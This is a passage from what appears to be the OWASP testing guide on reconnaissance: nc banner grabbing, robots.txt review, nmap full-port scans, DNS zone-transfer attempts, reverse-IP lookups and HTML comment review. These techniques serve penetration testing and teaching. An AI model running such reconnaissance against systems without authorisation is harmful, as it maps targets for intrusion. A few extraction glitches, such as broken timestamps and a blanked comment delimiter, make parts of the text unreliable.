Date: Fri, 01 Jan 1999 20:13: 52 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
ETag: W/e0d362a4c335be1: ae1
Content-Length: 133
```

Response from Netscape Enterprise 4.1

```
$ nc netscape.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:01: 40 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close
```

Response from a SunONE 6.1

```
$ nc sunone.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:23:37 GMT
Content-length: 0
Content-type: text/html
Date: Tue, 16 Jan 2007 15:20:26 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Connection: close
```

We can notice that the ordering of the *Date* field and the *Server* field differs between Apache, Netscape Enterprise, and IIS.

Malformed requests test

Another useful test to execute involves sending malformed requests or requests of nonexistent pages to the server. Consider the following HTTP responses.

Response from Apache 1.3.23

```
$ nc apache.example.com 80
GET / HTTP/3.0

HTTP/1.1 400 Bad Request
Date: Sun, 15 Jun 2003 17:12: 37 GMT
Server: Apache/1.3.23
Connection: close
Transfer: chunked
Content-Type: text/HTML; charset=iso-8859-1
```

Response from IIS 5.0

```
$ nc iis.example.com 80
GET / HTTP/3.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:14: 02 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
ETag: W/e0d362a4c335be1: ae1
Content-Length: 133
```

Response from Netscape Enterprise 4.1

```
$ nc netscape.example.com 80
GET / HTTP/3.0

HTTP/1.1 505 HTTP Version Not Supported
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:04: 04 GMT
Content-length: 140
Content-type: text/HTML
Connection: close
```

Response from a SunONE 6.1

```
$ nc sunone.example.com 80
GET / HTTP/3.0

HTTP/1.1 400 Bad request
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:25:00 GMT
Content-length: 0
Content-type: text/html
Connection: close
```

We notice that every server answers in a different way. The answer also differs in the version of the server. Similar observations can be done we create requests with a non-existent HTTP method/verb. Consider the following responses:

Response from Apache 1.3.23

```
$ nc apache.example.com 80
GET / JUNK/1.0

HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:17: 47 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
```

Response from IIS 5.0

```
$ nc iis.example.com 80
GET / JUNK/1.0

HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Fri, 01 Jan 1999 20:14: 34 GMT
Content-Type: text/HTML
Content-Length: 87
```

Response from Netscape Enterprise 4.1

```
$ nc netscape.example.com 80
GET / JUNK/1.0

<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Your browser sent to query this server could not understand.
</BODY></HTML>
```

Response from a SunONE 6.1

```
$ nc sunone.example.com 80
GET / JUNK/1.0

<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Your browser sent a query this server could not understand.
</BODY></HTML>
```

Tools


- httprint - <http://net-square.com/httprint.html>
- httprecon - <http://www.computec.ch/projekte/httprecon/>
- Netcraft - <http://www.netcraft.com>
- Desenmascarama - <http://desenmascara.me>

Automated Testing

Rather than rely on manual banner grabbing and analysis of the web server headers, a tester can use automated tools to achieve the same results. There are many tests to carry out in order to accurately fingerprint a web server. Luckily, there are tools that automate these tests. "*httprint*" is one of such tools. httprint uses a signature dictionary that allows it to

recognize the type and the version of the web server in use.

An example of running httpprint is shown below:



Online Testing


Online tools can be used if the tester wishes to test more stealthily and doesn't wish to directly connect to the target website. An example of an online tool that often delivers a lot of information about target Web Servers, is [Netcraft](#). With this tool we can retrieve information about operating system, web server used, Server Uptime, Netblock Owner, history of change related to Web server and O.S.

An example is shown below:

Background

Site title	OWASP	Date first seen	October 2001
Site rank	30592	Primary language	English
Description	Not Present		
Keywords	Not Present		

Network

Site	http://www.owasp.org	Last reboot	11 days ago
Domain	owasp.org	Netblock Owner	Rackspace Cloud Servers
IP address	50.57.64.91	Nameserver	dns.stabletransit.com
IPv6 address	Not Present	DNS admin	ipadmin@stabletransit.com
Domain registrar	pir.org	Reverse DNS	www.owasp.org
Organisation	OWASP Foundation, 9175 Guilford Rd Suite 300, Columbia, 21046, United States	Nameserver organisation	whois.tucows.com
Top Level Domain	Organization entities (.org)	Hosting company	Rackspace
Hosting country	 US	DNS Security Extensions	unknown

Hosting History

Netblock owner	IP address	OS	Web server	Last changed
Rackspace Cloud Servers 5000 Walzem Rd. San Antonio TX US 78218	50.57.64.91	Linux	Apache	28-Jan-2013
Rackspace Cloud Servers 5000 Walzem Rd. San Antonio TX US 78218	50.57.64.91	Linux	Apache	18-Jan-2013
Rackspace Cloud Servers 5000 Walzem Rd. San Antonio TX US 78218	50.57.64.91	Linux	Apache	28-Dec-2012
Rackspace Cloud Servers 5000 Walzem Rd. San Antonio TX US 78218	50.57.64.91	Linux	Apache	18-Dec-2012
Rackspace Cloud Servers 5000 Walzem Rd. San Antonio TX US 78218	50.57.64.91	Linux	Apache	28-Nov-2012
Rackspace Cloud Servers 5000 Walzem Rd. San Antonio TX US 78218	50.57.64.91	Linux	Apache	18-Nov-2012
Rackspace Cloud Servers 5000 Walzem Rd. San Antonio TX US 78218	50.57.64.91	Linux	Apache	27-Oct-2012
Rackspace Hosting 5000 Walzem Road San Antonio TX US 78218	50.57.64.91	Linux	Apache	17-Oct-2012
Slicehost 9725 Datapoint San Antonio TX US 78225	50.57.64.91	Linux	Apache	26-Sep-2012
Slicehost 9725 Datapoint San Antonio TX US 78225	50.57.64.91	Linux	Apache	17-Sep-2012

[OWASP Unmaskme Project](#) is expected to become another online tool to do fingerprinting of any website with an overall interpretation of all the [Web-metadata](#) extracted. The idea behind this project is that anyone in charge of a website could test the metadata the site is showing to the world and assess it from a security point of view.

While this project is still being developed, you can test a [Spanish Proof of Concept of this idea](#).

References

Whitepapers

- Saumil Shah: "An Introduction to HTTP fingerprinting" - http://www.net-square.com/httpprint_paper.html
- Anant Shrivastava : "Web Application Finger Printing" - http://anantshri.info/articles/web_app_finger_printing.html

Remediation

Protect the presentation layer web server behind a hardened reverse proxy.

Obfuscate the presentation layer web server headers.

- Apache
- IIS

Review Webserver Metfiles for Information Leakage (OTG-INFO-003)

Summary

This section describes how to test the robots.txt file for information leakage of the web application's directory or folder path(s). Furthermore, the list of directories that are to be avoided by Spiders, Robots, or Crawlers can also be created as a dependency for [Map execution paths through application \(OTG-INFO-007\)](#)

Test Objectives

1. Information leakage of the web application's directory or folder path(s).
2. Create the list of directories that are to be avoided by Spiders, Robots, or Crawlers.

How to Test

robots.txt

Web Spiders, Robots, or Crawlers retrieve a web page and then recursively traverse hyperlinks to retrieve further web content. Their accepted behavior is specified by the *Robots Exclusion Protocol* of the robots.txt file in the web root directory [1].

As an example, the beginning of the robots.txt file from <http://www.google.com/robots.txt> sampled on 11 August 2013 is quoted below:

```
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
Disallow: /catalogs
...
```

The *User-Agent* directive refers to the specific web spider/robot/crawler. For example the *User-Agent: Googlebot* refers to the spider from Google while "*User-Agent: bingbot*" refers to crawler from Microsoft/Yahoo!. *User-Agent: ** in the example above applies to all web spiders/robots/crawlers [2] as quoted below:

```
User-agent: *
```

The *Disallow* directive specifies which resources are prohibited by spiders/robots/crawlers. In the example above, directories such as the following are prohibited:

```
...
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
Disallow: /catalogs
...
```

Web spiders/robots/crawlers can intentionally ignore the *Disallow* directives specified in a robots.txt file [3], such as those from [Social Networks](#) to ensure that shared links are still valid. Hence, robots.txt should not be considered as a mechanism to enforce restrictions on how web content is accessed, stored, or republished by third parties.

robots.txt in webroot - with "wget" or "curl"

The robots.txt file is retrieved from the web root directory of the web server. For example, to retrieve the robots.txt from www.google.com using "wget" or "curl":

```
cmlh$ wget http://www.google.com/robots.txt
--2013-08-11 14:40:36-- http://www.google.com/robots.txt
Resolving www.google.com... 74.125.237.17, 74.125.237.18, 74.125.237.19, ...
Connecting to www.google.com[74.125.237.17]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: 'robots.txt.1'

[ <=> ] 7,074 --.-K/s in 0s

2013-08-11 14:40:37 (59.7 MB/s) - 'robots.txt' saved [7074]

cmlh$ head -n5 robots.txt
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
cmlh$
```

```
cmlh$ curl -O http://www.google.com/robots.txt
% Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
101 7074 0 7074 0 0 9410 0 --:--:-- --:--:-- --:--:-- 27312

cmlh$ head -n5 robots.txt
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
cmlh$
```

robots.txt in webroot - with rockspider

"[rockspider](#)" automates the creation of the initial scope for Spiders/Robots/Crawlers of files and directories/folders of a web site.

For example, to create the initial scope based on the Allowed: directive from www.google.com using "[rockspider](#)":

```
cmlh$ ./rockspider.pl -www www.google.com

"Rockspider" Alpha v0.1_2

Copyright 2013 Christian Heinrich
Licensed under the Apache License, Version 2.0

1. Downloading http://www.google.com/robots.txt
2. "robots.txt" saved as "www.google.com-robots.txt"
3. Sending Allow: URIs of www.google.com to web proxy i.e. 127.0.0.1:8080
   /catalogs/about sent
   /catalogs/p? sent
   /news/directory sent
   ...
4. Done.

cmlh$
```

Analyze robots.txt using Google Webmaster Tools

Web site owners can use the Google "Analyze robots.txt" function to analyse the website as part of its "Google Webmaster Tools". This tool can assist with testing and the procedure is as follows:

1. Sign into Google Webmaster Tools with a Google account.
2. On the dashboard, write the URL for the site to be analyzed.
3. Choose between the available methods and follow the on screen instruction.

META Tag

tags are located within the HEAD section of each HTML Document and should be consistent across a web site in the likely event that the robot/spider/crawler start point does not begin from a document link other than webroot i.e. a "deep link".


If there is no "`<META NAME="ROBOTS" ... >`" entry then the "Robots Exclusion Protocol" defaults to "INDEX,FOLLOW" respectively. Therefore, the other two valid entries defined by the "Robots Exclusion Protocol" are prefixed with "NO..." i.e. "NOINDEX" and "NOFOLLOW".

Web spiders/robots/crawlers can intentionally ignore the "`<META NAME="ROBOTS" "` tag as the robots.txt file convention is preferred. Hence, **<META> Tags should not be considered the primary mechanism, rather a complementary control to robots.txt.**

<META> Tags - with Burp

Based on the Disallow directive(s) listed within the robots.txt file in webroot, a regular expression search for "`<META NAME="ROBOTS" "` within each web page is undertaken and the result compared to the robots.txt file in webroot.

For example, the robots.txt file from facebook.com has a "Disallow: /ac.php" entry and the resulting search for "`<META NAME="ROBOTS" "` shown below:



The above might be considered a fail since "INDEX,FOLLOW" is the default `<META>` Tag specified by the "Robots Exclusion Protocol" yet "Disallow: /ac.php" is listed in robots.txt.

Tools

- Browser (View Source function)
- curl
- wget
- [rockspider](#)

References

Whitepapers

- [1] "The Web Robots Pages" - <http://www.robotstxt.org/>
- [2] "Block and Remove Pages Using a robots.txt File" - <https://support.google.com/webmasters/answer/156449>
- [3] "(ISC)2 Blog: The Attack of the Spiders from the Clouds" - http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html
- [4] "Telstra customer database exposed" - <http://www.smh.com.au/it-pro/security-it/telstra-customer-database-exposed-20111209-1on60.html>

Enumerate Applications on Webserver (OTG-INFO-004)

Summary

A paramount step in testing for web application vulnerabilities is to find out which particular applications are hosted on a web server. Many applications have known vulnerabilities and known attack strategies that can be exploited in order to gain remote control or to exploit data. In addition, many applications are often misconfigured or not updated, due to the perception that they are only used "internally" and therefore no threat exists.

With the proliferation of virtual web servers, the traditional 1:1-type relationship between an IP address and a web server is losing much of its original significance. It is not uncommon to have multiple web sites or applications whose symbolic names resolve to the same IP address. This scenario is not limited to hosting environments, but also applies to ordinary corporate environments as well.

Security professionals are sometimes given a set of IP addresses as a target to test. It is arguable that this scenario is more akin to a penetration test-type engagement, but in any case it is expected that such an assignment would test all web applications accessible through this target. The problem is that the given IP address hosts an HTTP service on port 80, but if a tester should access it by specifying the IP address (which is all they know) it reports "No web server configured at this address" or a similar message. But that system could "hide" a number of web applications, associated to unrelated symbolic (DNS) names. Obviously, the extent of the analysis is deeply affected by the tester tests all applications or only tests the applications that they are aware of.

Sometimes, the target specification is richer. The tester may be given a list of IP addresses and their corresponding symbolic names. Nevertheless, this list might convey partial information, i.e., it could omit some symbolic names and the client may not even be aware of that (this is more likely to happen in large organizations).

Other issues affecting the scope of the assessment are represented by web applications published at non-obvious URLs (e.g., <http://www.example.com/some-strange-URL>), which are not referenced elsewhere. This may happen either by error (due to misconfigurations), or intentionally (for example, unadvertised administrative interfaces).

To address these issues, it is necessary to perform web application discovery.

Test Objectives

Enumerate the applications within scope that exist on a web server

How to Test

Black Box Testing

Web application discovery is a process aimed at identifying web applications on a given infrastructure. The latter is usually specified as a set of IP addresses (maybe a net block), but may consist of a set of DNS symbolic names or a mix of the two. This information is handed out prior to the execution of an assessment, be it a classic-style penetration test or an application-focused assessment. In both cases, unless the rules of engagement specify otherwise (e.g., "test only the application located at the URL <http://www.example.com/>"), the assessment should strive to be the most comprehensive in scope, i.e. it should identify all the applications accessible through the given target. The following examples examine a few techniques that can be employed to achieve this goal.

Note: Some of the following techniques apply to Internet-facing web servers, namely DNS and reverse-IP web-based search services and the use of search engines. Examples make use of private IP addresses (such as *192.168.1.100*), which, unless indicated otherwise, represent *generic* IP addresses and are used only for anonymity purposes.

There are three factors influencing how many applications are related to a given DNS name (or an IP address):

1. Different base URL

The obvious entry point for a web application is *www.example.com*, i.e., with this shorthand notation we think of the web application originating at <http://www.example.com/> (the same applies for https). However, even though this is the most common situation, there is nothing forcing the application to start at “/”.

For example, the same symbolic name may be associated to three web applications such as:

```
http://www.example.com/ur11
http://www.example.com/ur12
http://www.example.com/ur13
```

In this case, the URL <http://www.example.com/> would not be associated with a meaningful page, and the three applications would be “hidden”, unless the tester explicitly knows how to reach them, i.e., the tester knows *url1*, *url2* or *url3*. There is usually no need to publish web applications in this way, unless the owner doesn’t want them to be accessible in a standard way, and is prepared to inform the users about their exact location. This doesn’t mean that these applications are secret, just that their existence and location is not explicitly advertised.

2. Non-standard ports

While web applications usually live on port 80 (http) and 443 (https), there is nothing magic about these port numbers. In fact, web applications may be associated with arbitrary TCP ports, and can be referenced by specifying the port number as follows: [http\[s\]://www.example.com:port/](http[s]://www.example.com:port/). For example, <http://www.example.com:20000/>.

3. Virtual hosts

DNS allows a single IP address to be associated with one or more symbolic names. For example, the IP address *192.168.1.100* might be associated to DNS names *www.example.com*, *helpdesk.example.com*, *webmail.example.com*. It is not necessary that all the names belong to the same DNS domain. This 1-to-N relationship may be reflected to serve different content by using so called virtual hosts. The information specifying the virtual host we are referring to is embedded in the HTTP 1.1 *Host*: header [1].

One would not suspect the existence of other web applications in addition to the obvious *www.example.com*, unless they know of *helpdesk.example.com* and *webmail.example.com*.

Approaches to address issue 1 - non-standard URLs

There is no way to fully ascertain the existence of non-standard-named web applications. Being non-standard, there is no fixed criteria governing the naming convention, however there are a number of techniques that the tester can use to gain some additional insight.

First, if the web server is mis-configured and allows directory browsing, it may be possible to spot these applications. Vulnerability scanners may help in this respect.

Second, these applications may be referenced by other web pages and there is a chance that they have been spidered and indexed by web search engines. If testers suspect the existence of such “hidden” applications on *www.example.com* they could search using the *site* operator and examining the result of a query for “site: *www.example.com*”. Among the returned URLs there could be one pointing to such a non-obvious application.

Another option is to probe for URLs which might be likely candidates for non-published applications. For example, a web mail front end might be accessible from URLs such as <https://www.example.com/webmail>, <https://webmail.example.com/>, or <https://mail.example.com/>. The same holds for administrative interfaces, which may be published at hidden URLs (for example, a Tomcat administrative interface), and yet not referenced anywhere. So doing a bit of dictionary-style searching (or “intelligent guessing”) could yield some results. Vulnerability scanners may help in this respect.

Approaches to address issue 2 - non-standard ports

It is easy to check for the existence of web applications on non-standard ports. A port scanner such as nmap [2] is capable of performing service recognition by means of the `-sV` option, and will identify `http[s]` services on arbitrary ports. What is required is a full scan of the whole 64k TCP port address space.

For example, the following command will look up, with a TCP connect scan, all open ports on IP `192.168.1.100` and will try to determine what services are bound to them (only *essential* switches are shown – nmap features a broad set of options, whose discussion is out of scope):

```
nmap -PN -sT -sV -p0-65535 192.168.1.100
```

It is sufficient to examine the output and look for `http` or the indication of SSL-wrapped services (which should be probed to confirm that they are `https`). For example, the output of the previous command could look like:

```
Interesting ports on 192.168.1.100:
(The 65527 ports scanned but not shown below are in state: closed)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh         OpenSSH 3.5p1 (protocol 1.99)
80/tcp    open  http        Apache httpd 2.0.40 ((Red Hat Linux))
443/tcp   open  ssl         OpenSSL
901/tcp   open  http        Samba SWAT administration server
1241/tcp  open  ssl         Nessus security scanner
3690/tcp  open  unknown
8000/tcp  open  http-alt?
8080/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
```

From this example, one see that:

- There is an Apache `http` server running on port 80.
- It looks like there is an `https` server on port 443 (but this needs to be confirmed, for example, by visiting <https://192.168.1.100> with a browser).
- On port 901 there is a Samba SWAT web interface.
- The service on port 1241 is not `https`, but is the SSL-wrapped Nessus daemon.
- Port 3690 features an unspecified service (nmap gives back its *fingerprint* - here omitted for clarity - together with instructions to submit it for incorporation in the nmap fingerprint database, provided you know which service it represents).
- Another unspecified service on port 8000; this might possibly be `http`, since it is not uncommon to find `http` servers on this port. Let's examine this issue:

```
$ telnet 192.168.10.100 8000
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
GET / HTTP/1.0

HTTP/1.0 200 OK
pragma: no-cache
Content-Type: text/html
Server: MX4J-HTTPD/1.0
expires: now
Cache-Control: no-cache

<html>
...
```

This confirms that in fact it is an HTTP server. Alternatively, testers could have visited the URL with a web browser; or used the `GET` or `HEAD` Perl commands, which mimic HTTP interactions such as the one given above (however `HEAD` requests may not be honored by all servers).

- Apache Tomcat running on port 8080.

The same task may be performed by vulnerability scanners, but first check that the scanner of choice is able to identify http[s] services running on non-standard ports. For example, Nessus [3] is capable of identifying them on arbitrary ports (provided it is instructed to scan all the ports), and will provide, with respect to nmap, a number of tests on known web server vulnerabilities, as well as on the SSL configuration of https services. As hinted before, Nessus is also able to spot popular applications or web interfaces which could otherwise go unnoticed (for example, a Tomcat administrative interface).

Approaches to address issue 3 - virtual hosts

There are a number of techniques which may be used to identify DNS names associated to a given IP address *x.y.z.t*.

DNS zone transfers

This technique has limited use nowadays, given the fact that zone transfers are largely not honored by DNS servers. However, it may be worth a try. First of all, testers must determine the name servers serving *x.y.z.t*. If a symbolic name is known for *x.y.z.t* (let it be *www.example.com*), its name servers can be determined by means of tools such as *nslookup*, *host*, or *dig*, by requesting DNS NS records.

If no symbolic names are known for *x.y.z.t*, but the target definition contains at least a symbolic name, testers may try to apply the same process and query the name server of that name (hoping that *x.y.z.t* will be served as well by that name server). For example, if the target consists of the IP address *x.y.z.t* and the name *mail.example.com*, determine the name servers for domain *example.com*.

The following example shows how to identify the name servers for *www.owasp.org* by using the *host* command:

```
$ host -t ns www.owasp.org
www.owasp.org is an alias for owasp.org.
owasp.org name server ns1.secure.net.
owasp.org name server ns2.secure.net.
```

A zone transfer may now be requested to the name servers for domain *example.com*. If the tester is lucky, they will get back a list of the DNS entries for this domain. This will include the obvious *www.example.com* and the not-so-obvious *helpdesk.example.com* and *webmail.example.com* (and possibly others). Check all names returned by the zone transfer and consider all of those which are related to the target being evaluated.

Trying to request a zone transfer for *owasp.org* from one of its name servers:

```
$ host -l www.owasp.org ns1.secure.net
Using domain server:
Name: ns1.secure.net
Address: 192.220.124.10#53
Aliases:

Host www.owasp.org not found: 5(REFUSED)
; Transfer failed.
```

DNS inverse queries

This process is similar to the previous one, but relies on inverse (PTR) DNS records. Rather than requesting a zone transfer, try setting the record type to PTR and issue a query on the given IP address. If the testers are lucky, they may get back a DNS name entry. This technique relies on the existence of IP-to-symbolic name maps, which is not guaranteed.

Web-based DNS searches

This kind of search is akin to DNS zone transfer, but relies on web-based services that enable name-based searches on DNS. One such service is the *Netcraft Search DNS* service, available at <http://searchdns.netcraft.com/?host>. The tester may query for a list of names belonging to your domain of choice, such as *example.com*. Then they will check whether the names they obtained are pertinent to the target they are examining.

Reverse-IP services

Reverse-IP services are similar to DNS inverse queries, with the difference that the testers query a web-based application instead of a name server. There are a number of such services available. Since they tend to return partial (and often different) results, it is better to use multiple services to obtain a more comprehensive analysis.

Domain tools reverse IP: <http://www.domaintools.com/reverse-ip/> (requires free membership)

MSN search: <http://search.msn.com> syntax: "ip:x.x.x.x" (without the quotes)

Webhosting info: <http://whois.webhosting.info/> syntax: <http://whois.webhosting.info/x.x.x.x>

DNSstuff: <http://www.dnsstuff.com/> (multiple services available)

<http://www.net-square.com/mspawn.html> (multiple queries on domains and IP addresses, requires installation)

tomDNS: <http://www.tomdns.net/index.php> (some services are still private at the time of writing)

SEOlogs.com: <http://www.seologs.com/ip-domains.html> (reverse-IP/domain lookup)

The following example shows the result of a query to one of the above reverse-IP services to 216.48.3.18, the IP address of www.owasp.org. Three additional non-obvious symbolic names mapping to the same address have been revealed.

WebHosting.Info's Power WHOIS Service

216.48.3.18 - IP hosts 4 Total Domains ...
Showing 1 - 4 out of 4

	Domain Name ^
1	OWASP.ORG
2	WEBGOAT.ORG
3	WEBSCARAB.COM
4	WEBSCARAB.NET
1	

Googling

Following information gathering from the previous techniques, testers can rely on search engines to possibly refine and increment their analysis. This may yield evidence of additional symbolic names belonging to the target, or applications accessible via non-obvious URLs.

For instance, considering the previous example regarding www.owasp.org, the tester could query Google and other search engines looking for information (hence, DNS names) related to the newly discovered domains of webgoat.org, webscarab.com, and webscarab.net.

Googling techniques are explained in [Testing: Spiders, Robots, and Crawlers](#).

Gray Box Testing

Not applicable. The methodology remains the same as listed in Black Box testing no matter how much information the tester starts with.

Tools

- DNS lookup tools such as *nslookup*, *dig* and similar.

- Search engines (Google, Bing and other major search engines).
- Specialized DNS-related web-based search service: see text.
- Nmap - <http://www.insecure.org>
- Nessus Vulnerability Scanner - <http://www.nessus.org>
- Nikto - <http://www.cirt.net/nikto2>

References

Whitepapers

[1] RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1

Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005)

Summary

It is very common, and even recommended, for programmers to include detailed comments and metadata on their source code. However, comments and metadata included into the HTML code might reveal internal information that should not be available to potential attackers. Comments and metadata review should be done in order to determine if any information is being leaked.

Test Objectives

Review webpage comments and metadata to better understand the application and to find any information leakage.

How to Test

HTML comments are often used by the developers to include debugging information about the application. Sometimes they forget about the comments and they leave them on in production. Testers should look for HTML comments which start with `""`.

Black Box Testing

Check HTML source code for comments containing sensitive information that can help the attacker gain more insight about the application. It might be SQL code, usernames and passwords, internal IP addresses, or debugging information.

```
...  
  
<div class="table2">  
  <div class="col1">1</div><div class="col2">Mary</div>  
  <div class="col1">2</div><div class="col2">Peter</div>  
  <div class="col1">3</div><div class="col2">Joe</div>  
  
<!-- Query: SELECT id, name FROM app.users WHERE active='1' -->  
  
</div>  
...
```

The tester may even find something like this:

```
<!-- Use the DB administrator password for testing: f@keP@a$$w0rd -->
```

Check HTML version information for valid version numbers and Data Type Definition (DTD) URLs

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
```

- "strict.dtd" -- default strict DTD
- "loose.dtd" -- loose DTD
- "frameset.dtd" -- DTD for frameset documents

Some Meta tags do not provide active attack vectors but instead allow an attacker to profile an application to

```
<META name="Author" content="Andrew Muller">
```

Some Meta tags alter HTTP response headers, such as http-equiv that sets an HTTP response header based on the the content attribute of a meta element, such as:

```
<META http-equiv="Expires" content="Fri, 21 Dec 2012 12:34:56 GMT">
```

which will result in the HTTP header:

```
Expires: Fri, 21 Dec 2012 12:34:56 GMT
```

and

```
<META http-equiv="Cache-Control" content="no-cache">
```

will result in

```
Cache-Control: no-cache
```

Test to see if this can be used to conduct injection attacks (e.g. CRLF attack). It can also help determine the level of data leakage via the browser cache.

A common (but not WCAG compliant) Meta tag is the refresh.

```
<META http-equiv="Refresh" content="15;URL=https://www.owasp.org/index.html">
```

A common use for Meta tag is to specify keywords that a search engine may use to improve the quality of search results.

```
<META name="keywords" lang="en-us" content="OWASP, security, sunshine, lollipops">
```

Although most web servers manage search engine indexing via the robots.txt file, it can also be managed by Meta tags. The tag below will advise robots to not index and not follow links on the HTML page containing the tag.

```
<META name="robots" content="none">
```

The Platform for Internet Content Selection (PICS) and Protocol for Web Description Resources (POWDER) provide infrastructure for associating meta data with Internet content.

Gray Box Testing

Not applicable.

Tools

- Wget

- Browser "view source" function
- Eyeballs
- Curl

References

Whitepapers

[1] <http://www.w3.org/TR/1999/REC-html401-19991224> HTML version 4.01

[2] <http://www.w3.org/TR/2010/REC-xhtml-basic-20101123/> XHTML (for small devices)

[3] <http://www.w3.org/TR/html5/> HTML version 5

Identify application entry points (OTG-INFO-006)

Summary

Enumerating the application and its attack surface is a key precursor before any thorough testing can be undertaken, as it allows the tester to identify likely areas of weakness. This section aims to help identify and map out areas within the application that should be investigated once enumeration and mapping have been completed.

Test Objectives

Understand how requests are formed and typical responses from the application

How to Test

Before any testing begins, the tester should always get a good understanding of the application and how the user and browser communicates with it. As the tester walks through the application, they should pay special attention to all HTTP requests (GET and POST Methods, also known as Verbs), as well as every parameter and form field that is passed to the application. In addition, they should pay attention to when GET requests are used and when POST requests are used to pass parameters to the application. It is very common that GET requests are used, but when sensitive information is passed, it is often done within the body of a POST request.

Note that to see the parameters sent in a POST request, the tester will need to use a tool such as an intercepting proxy (for example, OWASP: [Zed Attack Proxy \(ZAP\)](#)) or a browser plug-in. Within the POST request, the tester should also make special note of any hidden form fields that are being passed to the application, as these usually contain sensitive information, such as state information, quantity of items, the price of items, that the developer never intended for you to see or change.

In the author's experience, it has been very useful to use an intercepting proxy and a spreadsheet for this stage of the testing. The proxy will keep track of every request and response between the tester and the application as they walk through it. Additionally, at this point, testers usually trap every request and response so that they can see exactly every header, parameter, etc. that is being passed to the application and what is being returned. This can be quite tedious at times, especially on large interactive sites (think of a banking application). However, experience will show what to look for and this phase can be significantly reduced.

As the tester walks through the application, they should take note of any interesting parameters in the URL, custom headers, or body of the requests/responses, and save them in a spreadsheet. The spreadsheet should include the page requested (it might be good to also add the request number from the proxy, for future reference), the interesting parameters, the type of request (POST/GET), if access is authenticated/unauthenticated, if SSL is used, if it's part of a multi-step process, and any other relevant notes. Once they have every area of the application mapped out, then they can go through the application and test each of the areas that they have identified and make notes for what worked and what didn't work. The rest of this guide will identify how to test each of these areas of interest, but this section must be undertaken before any of the actual testing can commence.

Below are some points of interests for all requests and responses. Within the requests section, focus on the GET and POST methods, as these appear the majority of the requests. Note that other methods, such as PUT and DELETE, can be used. Often, these more rare requests, if allowed, can expose vulnerabilities. There is a special section in this guide dedicated for testing these HTTP methods.

Requests:

- Identify where GETs are used and where POSTs are used.
- Identify all parameters used in a POST request (these are in the body of the request).

- Within the POST request, pay special attention to any hidden parameters. When a POST is sent all the form fields (including hidden parameters) will be sent in the body of the HTTP message to the application. These typically aren't seen unless a proxy or view the HTML source code is used. In addition, the next page shown, its data, and the level of access can all be different depending on the value of the hidden parameter(s).
- Identify all parameters used in a GET request (i.e., URL), in particular the query string (usually after a ? mark).
- Identify all the parameters of the query string. These usually are in a pair format, such as foo=bar. Also note that many parameters can be in one query string such as separated by a &, ~, :, or any other special character or encoding.
- A special note when it comes to identifying multiple parameters in one string or within a POST request is that some or all of the parameters will be needed to execute the attacks. The tester needs to identify all of the parameters (even if encoded or encrypted) and identify which ones are processed by the application. Later sections of the guide will identify how to test these parameters. At this point, just make sure each one of them is identified.
- Also pay attention to any additional or custom type headers not typically seen (such as debug=False).

Responses:

- Identify where new cookies are set (Set-Cookie header), modified, or added to.
- Identify where there are any redirects (3xx HTTP status code), 400 status codes, in particular 403 Forbidden, and 500 internal server errors during normal responses (i.e., unmodified requests).
- Also note where any interesting headers are used. For example, "Server: BIG-IP" indicates that the site is load balanced. Thus, if a site is load balanced and one server is incorrectly configured, then the tester might have to make multiple requests to access the vulnerable server, depending on the type of load balancing used.

Black Box Testing

Testing for application entry points:

The following are two examples on how to check for application entry points.

EXAMPLE 1

This example shows a GET request that would purchase an item from an online shopping application.

```
GET https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM=z101a&PRICE=62.50&IP=x.x.x.x
Host: x.x.x.x
Cookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJ1eW11IGlzIGZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy
```

Result Expected:

Here the tester would note all the parameters of the request such as CUSTOMERID, ITEM, PRICE, IP, and the Cookie (which could just be encoded parameters or used for session state).

EXAMPLE 2

This example shows a POST request that would log you into an application.

```
POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?service=login
Host: x.x.x.x
